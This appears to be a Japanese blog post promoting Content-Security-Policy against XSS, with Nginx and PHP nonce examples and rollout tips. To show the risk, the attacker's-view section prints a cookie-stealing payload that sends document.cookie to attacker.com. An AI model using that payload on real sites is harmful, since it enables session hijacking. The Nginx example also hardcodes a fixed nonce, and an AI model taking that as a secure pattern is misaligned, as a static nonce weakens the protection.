なぜ「CSP」を語るのか?――XSSという「終わらない悪夢」との決別
現場でインシデント対応をしていると、いまだに「XSS(クロスサイトスクリプティング)は過去の脆弱性」と高を括っているエンジニアに出くわす。だが、現実はどうか。ReactやVueといった現代的なフレームワークを使っていても、サーバーサイドのレンダリングミスや、外部ライブラリの脆弱性、あるいは不用意な dangerouslySetInnerHTML の使用で、脆弱性はいくらでも生まれる。
XSSの恐ろしさは、攻撃者が「ユーザーのブラウザ上で、サイト運営者になりすましてコードを実行できる」点にある。セッションCookieの盗聴、フィッシング画面への差し替え、さらには最近では生成AIツールと連携した攻撃コードの自動生成まで加わり、もはや「人間が手作業で防ぐ」フェーズを超えている。
そこで我々が頼るべき最後の砦が Content-Security-Policy (CSP) だ。これは単なる設定ファイルではなく、ブラウザという「現場の実行環境」に強制するセキュリティ憲法である。
—
攻撃者の視点:なぜCSPがないと「終わる」のか
例えば、攻撃者はこのような脆弱なコードを狙う。
<!-- 脆弱なコード例 -->
<input type="text" id="username">
<button onclick="document.getElementById('msg').innerHTML = document.getElementById('username').value">表示</button>
<div id="msg"></div>
ここに <script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script> と入力されたらどうなるか。即座にあなたのサイトのユーザーセッションは「漏洩」という運命を辿る。
CSPは、この「どこからスクリプトを読み込み、何を実行させるか」をブラウザ側で厳格に縛り上げる。攻撃者がどれほど巧みなインジェクションを行っても、許可されていないソースからのスクリプトはブラウザが読み込みを拒絶する。これがCSPの力だ。
—
現場で即戦力となる「最強のCSP」実装
「とりあえず unsafe-inline を許可して動かそう」……これはセキュリティ放棄に等しい。今の開発現場で目指すべきは、nonce(ナンス:使い捨ての乱数)を用いた強力な制御だ。
1. Nginxでのレスポンスヘッダー設定
まずは、インフラ層で強固なベースラインを引く。
# Nginx設定ファイル例
# すべてのコンテンツは自身のドメインからのみ許可し、スクリプトはnonceでのみ許可する
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-random123456'; object-src 'none'; frame-ancestors 'none'; base-uri 'self';";
2. PHPアプリケーションでのNonce生成と適用
サーバーサイドで動的に生成した nonce を使い、そのリクエスト内でのみ実行を許可する。
<?php
// 1. セキュリティ用にランダムなNonceを生成
$nonce = base64_encode(random_bytes(16));
// 2. CSPヘッダーを送信
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-$nonce';");
?>
<!-- 3. HTML側でNonceを付与してscriptを記述 -->
<!-- このscriptタグ以外はブラウザによって即座にブロックされる -->
<script nonce="<?php echo $nonce; ?>">
console.log("このスクリプトは許可されているため実行されます。");
</script>
—
運用上の注意点:理想と現実の狭間
CSPを導入した瞬間に、既存のGoogle AnalyticsやSNSシェアボタンなどの外部スクリプトが動かなくなるはずだ。ここで多くのエンジニアが「CSPを緩和する」というミスを犯す。
以下のステップで運用を回すのが、インシデントを防ぐプロのやり方だ。
1. Report-Onlyモードで開始する:
Content-Security-Policy-Report-Only ヘッダーを使い、ブロックはせずに違反だけをログに飛ばす。「何が動かなくなるか」を特定してから本番適用する。
2. unsafe-inline を避ける:
どうしても外部スクリプトが動かない場合は、report-uri または report-to を指定し、何が原因でブロックされているかを監視する。
3. 生成AI時代のリスク:
最近ではLLMが生成したコードをそのまま貼り付けるケースが多いが、そこに難読化された悪意のあるスクリプトが紛れ込むリスクがある。CSPで script-src を厳格に絞っておけば、生成AIが間違えて出力した怪しい外部リソースへの通信も未然に遮断できる。
—
最後に:防御は「規律」である
セキュリティは、魔法のツールをインストールして終わりではない。CSPを適切に設定し、それを破壊するようなコードをコードレビューで弾く。「なぜ nonce が必要なのか」「なぜ unsafe-inline を禁止すべきなのか」という哲学をチーム全員が共有すること。
それが、私たちのような現場のエンジニアが持てる、最も強力な武器だ。明日からの開発で、一度 Content-Security-Policy ヘッダーを確認してみてほしい。そこには、あなたのアプリケーションが抱える「本当の防御力」が可視化されているはずだ。
コメント